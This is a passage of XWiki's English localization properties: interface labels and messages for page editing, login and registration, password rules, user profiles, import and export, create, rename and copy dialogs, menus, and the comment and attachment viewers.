Bold\ncore.edit.wikiToolbar.italics=Italics\ncore.edit.wikiToolbar.italicstext=Text in Italics\ncore.edit.wikiToolbar.underline=Underline\ncore.edit.wikiToolbar.underlinetext=Text in Underline\ncore.edit.wikiToolbar.strikethrough=Strikethrough\ncore.edit.wikiToolbar.strikethroughtext=Strikethrough\ncore.edit.wikiToolbar.subscript=Subscript\ncore.edit.wikiToolbar.subscripttext=Text in subscript\ncore.edit.wikiToolbar.superscript=Superscript\ncore.edit.wikiToolbar.superscripttext=Text in superscript\ncore.edit.wikiToolbar.secondleveltitle=Second Level Title\ncore.edit.wikiToolbar.titletext=Title Text\ncore.edit.wikiToolbar.ilink=Internal Link\ncore.edit.wikiToolbar.ilinktext=Link Example\ncore.edit.wikiToolbar.elink=External Link (do not forget http://)\ncore.edit.wikiToolbar.elinktext=name of link>http://www.example.com\ncore.edit.wikiToolbar.elink20=External Link (do not forget http://)\ncore.edit.wikiToolbar.elink20text=name of link>>http://www.example.com\ncore.edit.wikiToolbar.hr=Horizontal ruler\ncore.edit.wikiToolbar.img=Attached Image\ncore.edit.wikiToolbar.imgtext=example.jpg\ncore.edit.wikiToolbar.sign=Signature\ncore.edit.wikiToolbar.h1=Heading 1\ncore.edit.wikiToolbar.h1text=Heading 1\ncore.edit.wikiToolbar.h2=Heading 2\ncore.edit.wikiToolbar.h2text=Heading 2\ncore.edit.wikiToolbar.h3=Heading 3\ncore.edit.wikiToolbar.h3text=Heading 3\ncore.edit.wikiToolbar.h4=Heading 4\ncore.edit.wikiToolbar.h4text=Heading 4\ncore.edit.wikiToolbar.ulist=Bulleted list\ncore.edit.wikiToolbar.ulisttext=List item\ncore.edit.wikiToolbar.olist=Numbered list\ncore.edit.wikiToolbar.olisttext=List item\ncore.edit.wikiToolbar.html=HTML code\ncore.edit.wikiToolbar.htmltext=<!-- Your HTML code here -->\ncore.edit.wikiToolbar.velocity=Velocity code\ncore.edit.wikiToolbar.velocitytext=#* Your velocity code here *#\ncore.edit.autosave=Autosave\ncore.edit.autosave.every=every", "notice=Notice\nchangephoto=Changing photo for {0}\navatar=User photo\nError=Error\nerror=Error\nwarning=Warning\nWarning=Warning\nuploadavatarfile=Upload new user photo\nsetthisavatar=Set this photo\nnotauser=This is not a user!\nviewcode=Code\nviewxml=XML\nviewcomments=Comments\nviewattachments=Attachments\nviewhistory=History\nviewinformation=Information\nreveditor=Editor\nadminprefs=Preferences\nadminglobalrights=Global Rights\nadminspacerights=Space Rights\nadmingroups=Groups\nadminusers=Users\nadminusersandgroups=Users & Groups\nadminskin=Skin\ntype=Type:\ntoget=To get:\ndocdata=Page data\nnoskin=No skin is configured\nshowlinenumbers=Show Line Numbers\nhidelinenumbers=Hide Line numbers\nprint=Print\nwiki=Wiki\nWYSIWYG=WYSIWYG\ninvitation_email_content=Invitation email Content\nparentfield=Parent", "editingClass=Editing class\nproperties=Properties\nclassEditorIntro=Welcome to the Class Editor\nremembermeonthiscomp=Remember me\nsaveandcontinue=Save &amp; Continue\nsaveandview=Save &amp; View", "editing=Editing\neditWiki=Wiki\neditVisual=WYSIWYG\neditAttachments=Attachments\neditObject=Objects\neditClass=Class\neditRights=Access Rights\neditHistory=History\neditFullScreen=Full Screen", "###login\nnousername=No user name given\nnopassword=No password given\ninvalidcredentials=Invalid credentials\nloginfailed=Internal error", "switchto=Switch to\nsectionEdit=Sectional Editing", "antispam=Antispam\nregistration_anonymous=Anonymous\nregistration_registered=Registered\nedit_anonymous=Anonymous\nedit_registered=Registered\ncomment_anonymous=Anonymous\ncomment_registered=Registered\ncomment=Comment\nconfirmcommentnotcorrect=Confirm to avoid spam robots. Please try again!\nvalidationerror=Field {0} is incorrect.", "myaccount=My account\nnew=New", "attachedby=attached by\nlistofallexistspages=List of all existing pages\nlistofallattachments=List of all attachments\nlistofrecentlyviewedpages=List of recently viewed pages\nlistofrecentlymodifiedpages=List of recently modified pages\nwarningstartspluginisnotactivated=The stats plugin isn't activated. You have to activate stats plugin as default (xwiki.stats=1 in xwiki.cfg) to activate this function.\nlistofresultspages=List of result\nchoosespace=Choose space\ninspace=in\nnoattachmentsonthispage=There are no attachments on this page.\nnopagesatthemoment=There are no pages at the moment.\nEditing=Editing\nchooseassociatedtags=choose associated tags", "changespace=Change Space\nadminspaceprefs=Space Prefs\neditprefsforspace=Editing preferences for space\neditrightsforspace=Editing access rights for space", "target=Target Window (_blank for a new window)", "checkadvancedcontent=Your content contains HTML or special code that might be lost in the WYSIWYG Editor. Are you sure you want to switch editors?\nneedadminrights=Admin Rights are needed for this function", "export=Export\nadminexport=Export\nexport_packagename=File name\nexport_description=Description\nexport_licence=Licence\nexport_author=Author\nexport_version=Version\nexport_addhistory=With history\nexport_backuppack=Backup package", "import=Import\nadminimport=Import\nshowavailablefilestoimport=Show available files to import\nselectfiletoimport=Select the file you wish to import\navailablefilestoimport=Available files to import\navailabledocumentstoimport=Available pages to import\nuploadnewarchivetoimport=Upload a new archive to import\nselectdocumentstoimport=Click on the archive file you wish to import to get the list of available pages\nnodocstoimport=No pages found in the selected archive\nimporting=Importing\nimport_install_-1=Error while preparing importing\nimport_install_4=Error while importing\nimport_install_2=Import successful\nimport_install_1=Import could not overwrite\nimport_documentinstalled=Page(s) installed\nimport_documentskipped=Page(s) skipped\nimport_documenterrors=Page(s) with error\nimport_listofinstalledfiles=List of installed pages\nimport_listofskippedfiles=List of skipped pages\nimport_listoferrorfiles=List of erroneous pages", "core.exporter.headings.officeFormats=Office Formats\ncore.exporter.headings.otherFormats=Other Formats\ncore.exporter.selectPages=Select the pages to export:\ncore.exporter.selectAll=select all\ncore.exporter.selectNone=none\ncore.exporter.selectChildren=Select all children\ncore.exporter.unselectChildren=Unselect all children\ncore.exporter.filter=Select from:\ncore.exporter.filter.installedExtensionDocument=Created pages\ncore.exporter.filter.installedExtensionDocument.hint=The pages created by the user or by XWiki extensions on behalf of the user.\ncore.exporter.filter.pristineInstalledExtensionDocument=Created and modified pages\ncore.exporter.filter.pristineInstalledExtensionDocument.hint=Includes modified extension pages (usually configuration pages).\ncore.exporter.filter.none=All pages\ncore.exporter.filter.none.hint=Includes unmodified extension pages.\ncore.exporter.legend=Legend:\ncore.exporter.legend.contentPage=Created Page\ncore.exporter.legend.contentPage.hint=Any page created by the user or by an XWiki extension on behalf of the user.\ncore.exporter.legend.customizedExtensionPage=Modified Extension Page\ncore.exporter.legend.customizedExtensionPage.hint=Any page that belongs to an installed extension and that has been modified.\ncore.exporter.legend.cleanExtensionPage=Clean Extension Page\ncore.exporter.legend.cleanExtensionPage.hint=Any page that belongs to an installed extension and that has not been modified.", "core.importer.uploadPackage=Upload a new package\ncore.importer.availableDocuments=Package Content\ncore.importer.selectThisPackage=select this package\ncore.importer.availablePackages=Available packages\ncore.importer.noPackageAvailable=No package is available for import\ncore.importer.packageInformationExtract=Added by {0} on {1}\ncore.importer.import=Import\ncore.importer.selectionEmptyWarning=Please select at least one page to import\ncore.importer.importHistory=Import the history\ncore.importer.package=Package\ncore.importer.package.description=Description\ncore.importer.package.version=Version\ncore.importer.package.licence=Licence\ncore.importer.package.author=Author\ncore.importer.package.backup=Backup package\ncore.importer.documentSelected=page(s) selected\ncore.importer.whenDocumentAlreadyExists=When a page already exists in the wiki\ncore.importer.replaceDocumentHistory=Replace the page history with the history from the package\ncore.importer.addNewVersion=Add a new version to the existing page (if different)\ncore.importer.resetHistory=Reset history to version 1.1\ncore.importer.select=select\ncore.importer.selectAll=all\ncore.importer.selectNone=none\ncore.importer.saveDocumentComment=Imported from XAR\ncore.importer.securitySettingsChanged=Security settings have changed during the import. You will need <a href=\"{0}\">to authenticate</a> in order to continue to administrate the wiki.\ncore.importer.importAsBackup=Import as backup package", "core.model.xclass.deleteClassProperty.versionSummary=Removed class property \"{0}\"\ncore.model.xclass.disableClassProperty.versionSummary=Disabled class property \"{0}\"\ncore.model.xclass.enableClassProperty.versionSummary=Enabled class property \"{0}\"\ncore.model.xclass.classProperty.error.missingProperty=Cannot change property: the specified property name does not exist in this class.\ncore.model.xclass.mandatoryUpdateProperty.versionSummary=Synced mandatory class property definitions to default values\ncore.model.xobject.synchronizeObjects.versionSummary=Synchronized object properties with their current classes\ncore.model.xobject.synchronizeObjects.error.missingObject=Cannot synchronize object: the specified object does not exist.", "registerwelcome=Sign up here so you can edit pages and participate in the wiki.\nemail=e-Mail address\npasswordrepeat=Password (repeat)\nloginid=Login ID\niregister=Register\npasswordmismatch=Passwords are different or password is empty\nuseralreadyexists=User already exists\ninvalidusername=Invalid username provided. Please use only letters from the latin alphabet, numbers, and the underscore character.\nregisterfailed=Registration has failed\nregisterfailedcode=code\nregistersuccessful=Registration successful", "leftPanels=Left Panels\nrightPanels=Right Panels\nshowLeftPanels=Show Left Panels\nshowRightPanels=Show Right Panels\npageWidth=Page Width\ntags=Tags", "removethisuserfromgroup=Remove this user from the group\nuserdeletioncannotbecanceled=Deletions cannot be cancelled.\naddusertogroup=Add a user to this group", "panelsavesuccess=The layout has been saved properly.\npanelsaveerror=An error occurred while trying to save the panel layout.\nspaceandname=Space and Page Name\ncreate=Create\ncreatepage=Page\ncreatespace=Space\ncreateevent=Event\ncreatepanel=Panel", "### Event calendar\neventCalendarTitle=Event Calendar\neventList=Event List\neventNew=New Event\neventTitle=Title\neventStartdate=Start date inclusive (dd/MM/yyyy)\neventEnddate=End date inclusive (dd/MM/yyyy)\neventLocation=Location\neventCategory=Category\neventURL=URL\neventDescription=Description\neventAdd=Add", "dtFrom=From\ndtTo=to\nmoreinfo=More information", "### Password change form\nchangepassword=Changing password for {0}\nnewpassword=New password\nreenterpassword=Reenter password\nsetthispassword=Save\ncancelpwd=Cancel\npasswordmissmatch=The two passwords do not match!", "platform.core.profile.passwd.title=Changing password for {0}\nplatform.core.profile.passwd.instructionsPasswordLength=Your new password must be at least {0} characters long.\nplatform.core.profile.passwd.originalPassword=Current password\nplatform.core.profile.passwd.newPassword=New password\nplatform.core.profile.passwd.reenterPassword=Reenter password\nplatform.core.profile.passwd.submit=Save\nplatform.core.profile.passwd.cancel=Cancel and return to profile\nplatform.core.profile.passwd.passwordMissmatch=The two passwords do not match.\nplatform.core.profile.passwd.invalidOriginalPassword=Current password is invalid.\nplatform.core.profile.passwd.passwordTooShort=Your new password should be at least 6 characters long.\nplatform.core.profile.passwd.passwordCannotBeEmpty=The password cannot be empty.\nplatform.core.profile.passwd.notAllowed=You are not allowed to perform this action.\nplatform.core.profile.passwd.notaUser=This is not a user profile.\nplatform.core.profile.passwd.success=Your password has been successfully changed.\nplatform.core.profile.passwd.return=Click here to return to your profile.\nplatform.core.profile.passwd.passwordChanged=Changing user password.\nplatform.core.profile.passwd.passwordMustContainLowercase=The password must contain at least one lowercase character.\nplatform.core.profile.passwd.passwordMustContainUppercase=The password must contain at least one uppercase character.\nplatform.core.profile.passwd.passwordMustContainNumber=The password must contain at least one number.\nplatform.core.profile.passwd.passwordMustContainSymbol=The password must contain at least one symbol character.", "### User profile page\nplatform.core.profile.title=Profile of {0}\nplatform.core.profile.changePassword=Change password\nplatform.core.profile.changePhoto=Change photo\nplatform.core.profile.changePhoto.cancel=Cancel and return to profile\nplatform.core.profile.firstname=First name\nplatform.core.profile.lastname=Last name\nplatform.core.profile.blog=Blog\nplatform.core.profile.blogFeed=Blog Feed\nplatform.core.profile.email=Email\nplatform.core.profile.company=Company\nplatform.core.profile.city=City\nplatform.core.profile.country=Country\nplatform.core.profile.about=About\nplatform.core.profile.phone=Phone\nplatform.core.profile.address=Address\nplatform.core.profile.editor=Default editor to use\nplatform.core.profile.userType=User Type\nplatform.core.profile.enableAccessibility=Enable extra accessibility features\nplatform.core.profile.displayHiddenDocuments=Display hidden pages\nplatform.core.profile.timezone=Timezone\nplatform.core.profile.extensionConflictSetup=Enable extension conflict setup", "platform.core.profile.category.settings=Settings\nplatform.core.profile.category.profile=Profile\nplatform.core.profile.category.profile.edit=Edit profile\nplatform.core.profile.category.preferences=Preferences\nplatform.core.profile.category.preferences.edit=Edit preferences\nplatform.core.profile.category.watchlist=Watchlist\nplatform.core.profile.category.watchlist.edit=Edit watchlist preferences\nplatform.core.profile.category.network=Network\nplatform.core.profile.category.dashboard=My dashboard\nplatform.core.profile.category.profile.disabled=This account is currently disabled.\nplatform.core.profile.category.profile.disableAccount=Disable this account\nplatform.core.profile.category.profile.enableAccount=Enable this account", "platform.core.profile.section.security=Security\nplatform.core.profile.section.personal=Personal Information\nplatform.core.profile.section.contact=Contact Information\nplatform.core.profile.section.links=External Links\nplatform.core.profile.section.sendMessage=Send Message\nplatform.core.profile.section.activity=My Activity Stream\nplatform.core.profile.section.activityof=Activity stream of {0}\nplatform.core.profile.section.displayPreferences=Display Preferences\nplatform.core.profile.section.localizationPreferences=Localization Preferences\nplatform.core.profile.section.editorPreferences=Editor Preferences\nplatform.core.profile.section.extensionPreferences=Extensions Preferences\nplatform.core.profile.section.datePreferences=Date Preferences\nplatform.core.profile.section.passwordManagement=Password Management\nplatform.core.profile.section.watchlistManagement=Watchlist Preferences\nplatform.core.profile.section.watchlistElements=Watched elements\nplatform.core.profile.section.following=Followed users\nplatform.core.profile.section.following.none=You are not following the activity of any user.\nplatform.core.profile.section.networkActivity=Network activity\nplatform.core.profile.watchlist.notifier=Notifier\nplatform.core.profile.watchlist.unwatch=Remove from my watch list", "core.footer.creation=Created by {0} on {1}\ncore.footer.translationCreation=Translated into {0} by {1} on {2}\ncore.footer.modification=Last modified by {0} on {1}\ncore.document.modificationWithVersion=Version {0} by {1} on {2}", "core.footnotes.gotofootnote=Go to footnote {0}\ncore.footnotes.backtoref=Back to footnote reference", "### Keyboard shortcuts\ncore.shortcuts.view.edit=e\ncore.shortcuts.view.wiki=k\ncore.shortcuts.view.wysiwyg=g\ncore.shortcuts.view.inline=f\ncore.shortcuts.view.rights=r\ncore.shortcuts.view.objects=o\ncore.shortcuts.view.class=s\ncore.shortcuts.view.comments=c\ncore.shortcuts.view.attachments=a\ncore.shortcuts.view.history=h\ncore.shortcuts.view.information=i\ncore.shortcuts.view.code=d\ncore.shortcuts.view.annotations=n\ncore.shortcuts.view.delete=Delete\ncore.shortcuts.view.rename=F2\ncore.shortcuts.edit.cancel=Alt+C\ncore.shortcuts.edit.backtoedit=Alt+B\ncore.shortcuts.edit.preview=Alt+P\ncore.shortcuts.edit.save=Alt+Shift+S\ncore.shortcuts.edit.saveandview=Alt+S", "### Developer shortcuts\ncore.shortcuts.developer.user.type=x+x+x+a\ncore.shortcuts.developer.user.type.error=Unable to update the current user type\ncore.shortcuts.developer.user.displayHiddenDocs=x+x+x+h\ncore.shortcuts.developer.user.displayHiddenDocs.error=Unable to toggle the current user hidden documents property\ncore.shortcuts.developer.user.ajax.inprogress=Performing REST request...\ncore.shortcuts.developer.user.ajax.success=REST Request successful!", "### Create\ncore.create.pageTitle=Create Page", "core.create.title=Title\ncore.create.title.hint=Title of the new page\ncore.create.locationPreview.label=Location\ncore.create.locationPreview.hint=Location in the page hierarchy where this new page will be created.\ncore.create.spaceReference.label=Parent\ncore.create.spaceReference.hint=Parent of the new page. Leave empty for top level non-terminal page.\ncore.create.spaceReference.placeholder=Path.To.Page\ncore.create.name.label=Name\ncore.create.name.hint=Name of the new page\ncore.create.name.placeholder=NewPage", "core.create.template=Template\ncore.create.page.template.hint=Template to use for the new page\ncore.create.page.template.empty=Empty Wiki Page\ncore.create.template.allowedspaces=Pages created from the template [{0}] must be created in one of the following spaces: {1}\ncore.create.template.allowedspace=Pages created from the template [{0}] must be created in the space: {1}\ncore.create.template.allowedspaces.inline=Allowed spaces for ''{0}'': {1}\ncore.create.template.allowedspace.inline=Allowed space for ''{0}'': {1}", "core.create.terminal.label=Terminal Page\ncore.create.terminal.hint=Advanced: Create a terminal page instead. This type of page will not be able to have children and is generally used in applications, development or in older versions of XWiki.", "core.create.type=Type\ncore.create.type.hint=Select the kind of page that you want to create\ncore.create.type.default=Default\ncore.create.type.templates=Templates\ncore.create.type.blank=Blank page\ncore.create.type.blank.description=Standard empty page", "core.create.popup.loading=Loading...", "core.create.ajax.error=An error occurred, please refresh the page and try again\ncore.create.page.error.docalreadyexists=The page <a href=\"{1}\">{0}</a> already exists. You can fill in a new page name (or <a href=\"{2}\">edit {0}</a>).\ncore.create.space.error.docalreadyexists=The space {0} already exists. Please fill in a new space name.\ncore.create.page.error.docpathtoolong=The full path of the page you want to create is too long: {0} Paths are limited to {1} characters and the current length is {2} characters. Please change the name of your page or move it to another space.", "### Rename\ncore.rename.title=Rename <a href=\"{1}\">{0}</a>\ncore.rename.source.label=Source\ncore.rename.source.hint=The page that is going to be renamed\ncore.rename.children.label=Preserve children\ncore.rename.children.hint=Preserve the {0}{1} {1,choice,0#child pages|1#child page|1<child pages}{2} by updating their path and moving them to the new location\ncore.rename.children.hintWithoutParams=Preserve the child pages by updating their path and moving them to the new location\ncore.rename.links.label=Update links\ncore.rename.links.hint=Update the target of {0}{1} {1,choice,0#incoming links|1#incoming link|1<incoming links}{2} to this page and preserve the target of relative outgoing links from this page in the new location\ncore.rename.links.hintWithoutParams=Update the target of incoming links to this page and preserve the target of relative outgoing links from this page in the new location\ncore.rename.autoRedirect.label=Create an automatic redirect\ncore.rename.autoRedirect.hint=Redirect the user to the new page when accessing the old page. Select this option if you don't want to break external links to the old page.\ncore.rename.target.title.label=New Title\ncore.rename.target.title.hint=The new page title\ncore.rename.target.location.label=New Location\ncore.rename.target.location.hint=The location where to move the page\ncore.rename.target.wiki.label=Wiki\ncore.rename.target.wiki.hint=The wiki where to move the page\ncore.rename.target.parent.label=Parent\ncore.rename.target.parent.hint=The new parent. Leave empty if the new page should be a top level non-terminal page.\ncore.rename.target.name.label=Name\ncore.rename.target.name.hint=The new page name\ncore.rename.target.terminal.label=Rename as terminal page\ncore.rename.target.terminal.hint=This type of page cannot have children and is generally used in applications, development or in older versions of XWiki.\ncore.rename.submit=Rename\ncore.rename.emptyName=Please enter a valid page name!\ncore.rename.alreadyExists=A page with the given name (<a href=\"{1}\">{0}</a>) already exists. Please provide a different name.\ncore.rename.nonexistingDocument=This page does not exist.\ncore.rename.targetNotWritable=You don't have the right to create the target page.\ncore.rename.status.label=Rename Status\ncore.rename.status.hint=The following rename operation has been started by {0} on {1}\ncore.rename.status.success=Done.\ncore.rename.status.failure=Rename failed.\ncore.rename.status.notFound=The requested rename status could not be found.\nrename=Rename\ncore.rename.warningRenameUser=You are about to rename a page containing an user or a group but you don't have the programming rights: this could lead to some breakage in your wiki.", "### Copy\ncore.copy.title=Copy <a href=\"{1}\">{0}</a>\ncore.copy.source.label=Source\ncore.copy.source.hint=The page that is going to be copied\ncore.copy.target.title.label=Copy Title\ncore.copy.target.title.hint=The copy can have a different title than the source page\ncore.copy.target.location.label=Copy Location\ncore.copy.target.location.hint=The location where to copy the page\ncore.copy.target.wiki.label=Wiki\ncore.copy.target.wiki.hint=The wiki where to copy the page\ncore.copy.target.parent.label=Parent\ncore.copy.target.parent.hint=The parent of the copy. Leave empty if the copy should be a top level page.\ncore.copy.target.name.label=Name\ncore.copy.target.name.hint=The copy can have a different name than the source page\ncore.copy.target.terminal.label=Copy as terminal page\ncore.copy.target.terminal.hint=This type of page cannot have children and is generally used in applications, development or in older versions of XWiki.\ncore.copy.allTranslations=All Translations\ncore.copy.language.hint=Translation of the original page\ncore.copy.children.label=Preserve children\ncore.copy.children.hint=Copy also the {0}{1} {1,choice,0#children|1#child|1<children}{2} of the source page\ncore.copy.children.hintWithoutParams=Copy also the children of the source page\ncore.copy.submit=Copy\ncore.copy.cancel=Cancel\ncore.copy.alreadyExists=The page {0} already exists. Are you sure you want to overwrite it (all its content would be lost)?\ncore.copy.editRightsForbidden=You don''t have the appropriate rights to copy the page at the following target {0}.\ncore.copy.changeTarget=Change the target page\ncore.copy.status.label=Copy Status\ncore.copy.status.hint=The following copy operation has been started by {0} on {1}\ncore.copy.status.notFound=The requested copy status could not be found.", "### Document Picker\ncore.documentPicker.title=Select Page\ncore.documentPicker.select=Select\ncore.documentPicker.cancel=Cancel", "### Export\ncore.export.pdf.options.title=PDF Export Options\ncore.export.pdf.options.language.hint=Choose the translation you want to export.\ncore.export.pdf.options.currentLanguage=(Current language)\ncore.export.pdf.options.cover=Cover\ncore.export.pdf.options.cover.hint=Print the cover page, containing the page title, author and last modification date.\ncore.export.pdf.options.toc=Table of Contents\ncore.export.pdf.options.toc.hint=List headings at the beginning of the PDF document, usually right after the cover page.\ncore.export.pdf.options.header=Header\ncore.export.pdf.options.header.hint=Header displayed on each page\ncore.export.pdf.options.footer=Footer\ncore.export.pdf.options.footer.hint=Footer displayed on each page\ncore.export.pdf.options.comments=Comments\ncore.export.pdf.options.comments.hint=Include page comments at the end of the PDF document, usually before the image attachments.\ncore.export.pdf.options.images=Image attachments\ncore.export.pdf.options.images.hint=Print image attachments at the very end of the PDF document.\ncore.export.formatUnknown=Office server is not started or that export format is not supported.", "### Paging links\nweb.paging.pageNumberOf=Page {0} of {1}\nweb.paging.firstPage=&laquo; First\nweb.paging.previousPage=&lt; Previous\nweb.paging.nextPage=Next &gt;\nweb.paging.lastPage=Last &raquo;", "tempdirnotset=Temporary directory not set. Please follow the instructions on <a href=\"http://www.xwiki.org/xwiki/bin/view/FAQ/WhyAmIGettingANullPointerExceptionWhenUploadingFiles\">xwiki.org</a> on how to fix this.", "# Comments for history\n# Note: These keys should be moved to their domains.\n# For example the comment messages for the XAR importer are in core.importer.* keys.\n# TODO: Do the same for the other keys\n###\ncore.comment=Version summary\ncore.comment.details=(Enter a brief description of your changes)\ncore.comment.tooltip=Enter a brief description of your changes\ncore.comment.prompt=Enter a brief description of your changes\ncore.comment.addComment=Added comment\ncore.comment.editComment=Edited comment\ncore.comment.addObject=Added object\ncore.comment.updateObject=Updated object\ncore.comment.deleteObject=Deleted object\ncore.comment.addProperty=Added property\ncore.comment.updateProperty=Updated property\ncore.comment.updatePropertyName=Updated property name\ncore.comment.addClassProperty=Added class property\ncore.comment.updateClassProperty=Updated class property\ncore.comment.updateClassPropertyName=Updated class property name\ncore.comment.createdUser=Created user\ncore.comment.addedUserToGroup=Added user to group\ncore.comment.rollback=Rollback to version {0}\ncore.comment.updateContent=Update Content\ncore.comment.uploadAttachmentComment=Uploaded new attachment \"{0}\", version {1}\ncore.comment.uploadImageComment=Upload new image \"{0}\", version {1}\ncore.comment.deleteAttachmentComment=Deleted attachment \"{0}\"\ncore.comment.deleteImageComment=Deleted image \"{0}\"\ncore.comment.renameLink=Renamed links to {0} following the rename of that page\ncore.comment.renameParent=Changed parent to {0} following the rename of that page\ncore.comment.createdTemplate=Created {0} Template\ncore.comment.hint=Add summary...", "core.minoredit=Minor edit\ncore.minoredit.show=Show minor edits\ncore.minoredit.hide=Hide minor edits", "### top menu\ncore.menu.main.title=General Actions:\ncore.menu.content.title=Page Actions:\ncore.menu.goto.wiki=Go to Wiki\ncore.menu.goto.space=Go to Space\ncore.menu.goto.page=Go to Page\ncore.menu.create=Create\ncore.menu.create.page=Page\ncore.menu.create.pageFromOffice=Page from Office\ncore.menu.create.space=Space\ncore.menu.create.wiki=Create wiki\ncore.menu.create.comment=Comment to Page\ncore.menu.create.attachment=Attachment to Page\ncore.menu.copy=Copy\ncore.menu.edit=Edit\ncore.menu.edit.wiki=Wiki\ncore.menu.edit.wysiwyg=WYSIWYG\ncore.menu.edit.inline=Inline form\ncore.menu.edit.object=Objects\ncore.menu.edit.class=Class\ncore.menu.edit.rights=Access Rights\ncore.menu.edit.currentEditor=Edit{0}\ncore.menu.drawer=Drawer\ncore.menu.view.source=Source\ncore.menu.view.comments=Comments\ncore.menu.view.attachments=Attachments\ncore.menu.view.history=History\ncore.menu.view.information=Information\ncore.menu.print.preview=Print Preview\ncore.menu.delete=Delete\ncore.menu.rename=Move / Rename\ncore.menu.actions.label=More Actions\ncore.menu.actions.main=Manage\ncore.menu.actions.others=Actions\ncore.menu.actions.viewers=Viewers\ncore.menu.preview=Print Preview\ncore.menu.profile=Profile\ncore.menu.userPreferences=Preferences\ncore.menu.userDashboard=My dashboard\ncore.menu.network=Network\ncore.menu.export=Export\ncore.menu.export.pdf=Export as PDF\ncore.menu.export.odt=Export as ODT\ncore.menu.export.rtf=Export as RTF\ncore.menu.export.html=Export as HTML\ncore.menu.export.xar=Export as XAR\ncore.menu.watchlist.add=Watch\ncore.menu.watchlist.remove=Unwatch\ncore.menu.watchlist.add.document=Watch page\ncore.menu.watchlist.remove.document=Unwatch page\ncore.menu.watchlist.add.page=Watch Page\ncore.menu.watchlist.remove.page=Unwatch Page\ncore.menu.watchlist.add.space=Watch Space\ncore.menu.watchlist.remove.space=Unwatch Space\ncore.menu.watchlist.add.wiki=Watch Wiki\ncore.menu.watchlist.remove.wiki=Unwatch Wiki\ncore.menu.watchlist.management=Watchlist\ncore.menu.share=Share by Email\ncore.menu.admin=Administration\ncore.menu.admin.wiki=Administer Wiki\ncore.menu.admin.space=Administer Space\ncore.menu.admin.page=Administer Page\ncore.menu.admin.parent=Administer Parent\ncore.menu.editing=Editing\ncore.menu.type.home=Home\ncore.menu.type.wiki=Wiki\ncore.menu.type.space=Space\ncore.menu.type.page=Page\ncore.menu.type.profile=Profile\ncore.menu.wiki.documentindex=Page Index\ncore.menu.space.documentindex=Page Index\ncore.menu.space.delete=Delete\n### Translations used from web standard templates, not colibri\ncore.menu.view=View\ncore.menu.print=Print\ncore.menu.watch=Watch\ncore.menu.toggleSearch=Toggle search\ncore.menu.toggleNavigation=Toggle navigation\ncore.menu.toggleDropdown=Toggle dropdown", "### Messages for the various document viewers (history, attachments, info...)\ncore.viewers.content.doesnotexists.edittocreate=You can <a href=\"{0}\">edit this page</a> to create it.", "core.viewers.comments.title=Comments on <a href=\"{1}\">{0}</a>\ncore.viewers.comments.permalink=Permalink\ncore.viewers.comments.permalink.goto=Go to permalink\ncore.viewers.comments.delete=Delete\ncore.viewers.comments.delete.confirm=Are you sure you want to remove this comment?\ncore.viewers.comments.delete.inProgress=Deleting...\ncore.viewers.comments.delete.done=Comment deleted\ncore.viewers.comments.delete.failed=Failed to delete comment:\ncore.viewers.comments.reply=Reply\ncore.viewers.comments.noComments=No comments for this page\ncore.viewers.comments.add.title=Add comment\ncore.viewers.comments.add.says=says:\ncore.viewers.comments.add.guestName.prompt=Author:\ncore.viewers.comments.add.guestName.default=Anonymous\ncore.viewers.comments.add.submit=Add comment\ncore.viewers.comments.add.cancel=Cancel\ncore.viewers.comments.add.comment.label=Comment\ncore.viewers.comments.add.inProgress=Sending comment...\ncore.viewers.comments.add.done=Comment posted\ncore.viewers.comments.add.failed=Failed to post comment:\ncore.viewers.comments.preview.button.preview=Preview\ncore.viewers.comments.preview.button.back=Back\ncore.viewers.comments.preview.failed=Failed to generate preview:\ncore.viewers.comments.preview.inProgress=Generating preview...\ncore.viewers.comments.commentDeleted=Deleted comment.\ncore.viewers.comments.deleteReplies.prompt=Also delete all replies to this comment?\ncore.viewers.comments.edit=Edit\ncore.viewers.comments.edit.save=Save comment\ncore.viewers.comments.edit.cancel=Cancel\ncore.viewers.comments.edit.notAllowed=You are not allowed to edit this comment\ncore.viewers.comments.edit.notFound=The requested comment does not exist\ncore.viewers.comments.edit.versionComment=Edited comment {0}\ncore.viewers.comments.editForm.fetch.inProgress=Retrieving comment source...\ncore.viewers.comments.editForm.fetch.failed=Failed to retrieve comment:\n### Deprecated:\ncore.viewers.comments.confirmDelete=Are you sure you want to remove this comment?", "core.viewers.annotations.title=Annotations on {0}", "core.viewers.attachments.title=Attachments for <a href=\"{1}\">{0}</a>\ncore.viewers.attachments.download=Download this attachment\ncore.viewers.attachments.delete=Delete\ncore.viewers.attachments.delete.confirm=Are you sure you want to delete this attachment?\ncore.viewers.attachments.delete.title=Delete this attachment\ncore.viewers.attachments.delete.inProgress=Deleting...\ncore.viewers.attachments.delete.done=Attachment deleted\ncore.viewers.attachments.delete.failed=Failed to delete attachment:\ncore.viewers.attachments.webdavEdit=Edit\ncore.viewers.attachments.webdavEdit.title=Edit this attachment\ncore.viewers.attachments.officeView=View\ncore.viewers.attachments.officeView.title=View this attachment\ncore.viewers.attachments.showHistory=View attachment history\ncore.viewers.attachments.author=Posted by {0}\ncore.viewers.attachments.date=on {0}\ncore.viewers.attachments.noAttachments=No attachments for this page\ncore.viewers.attachments.upload.title=Attach files to this page\ncore.viewers.attachments.upload.filename=Choose target filename:\ncore.viewers.attachments.upload.file=Choose file to upload:\ncore.viewers.attachments.upload.addFileInput=Add another file\ncore.viewers.attachments.upload.removeFileInput=Remove\ncore.viewers.attachments.upload.removeFileInput.title=Remove this file\ncore.viewers.attachments.upload.submit=Attach\ncore.viewers.attachments.upload.cancel=Cancel\ncore.viewers.attachments.upload.confirmReplace=Do you want to replace the filename with\ncore.viewers.attachments.revisions=The available versions of attachment ''{0}'' are:\n### MIME types\ncore.viewers.attachments.mime.audio=Audio\ncore.viewers.attachments.mime.image=Image\ncore.viewers.attachments.mime.text=Text\ncore.viewers.attachments.mime.video=Video\ncore.viewers.attachments.mime.flash=Flash\ncore.viewers.attachments.mime.svg=SVG\ncore.viewers.attachments.mime.html=HTML\ncore.viewers.attachments.mime.css=CSS\ncore.viewers.attachments.mime.xml=XML\n### Office\ncore.viewers.attachments.mime.office=Office Document\ncore.viewers.attachments.mime.document=Document\ncore.viewers.attachments.mime.presentation=Presentation\ncore.viewers.attachments.mime.spreadsheet=Spreadsheet\ncore.viewers.attachments.mime.odt=Office Template\ncore.viewers.attachments.mime.ps=PS\ncore.viewers.attachments.mime.pdf=PDF\n### Archives\ncore.viewers.attachments.mime.tar=TAR Archive\ncore.viewers.attachments.mime.bz=BZ Archive\ncore.viewers.attachments.mime.gz=GZ 